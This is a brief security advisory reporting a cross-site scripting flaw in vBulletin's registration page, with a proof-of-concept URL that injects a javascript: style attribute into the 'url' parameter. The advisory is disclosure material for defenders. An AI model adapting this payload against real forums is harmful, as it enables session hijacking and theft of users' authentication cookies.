source: https://www.securityfocus.com/bid/9649/info

It has been reported that VBulletin is prone to a cross-site scripting vulnerability. This issue is reportedly due to a failure to sanitize user input and so allow HTML and script code that may facilitate cross-site scripting attacks. Upon successful exploitation, this issue may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/forum/register.php?s=60b7ac47d0eba9853b6e36a3b18924bc&s=&do=register&url=AK%22%20style%3D%22background:url(javascript:alert(%27XSS%20Vulnerable%20To%20Cross%20Site%20Scripting%27))%22%20OS%22&month=0&day=0&year=0&who=adult&agree=1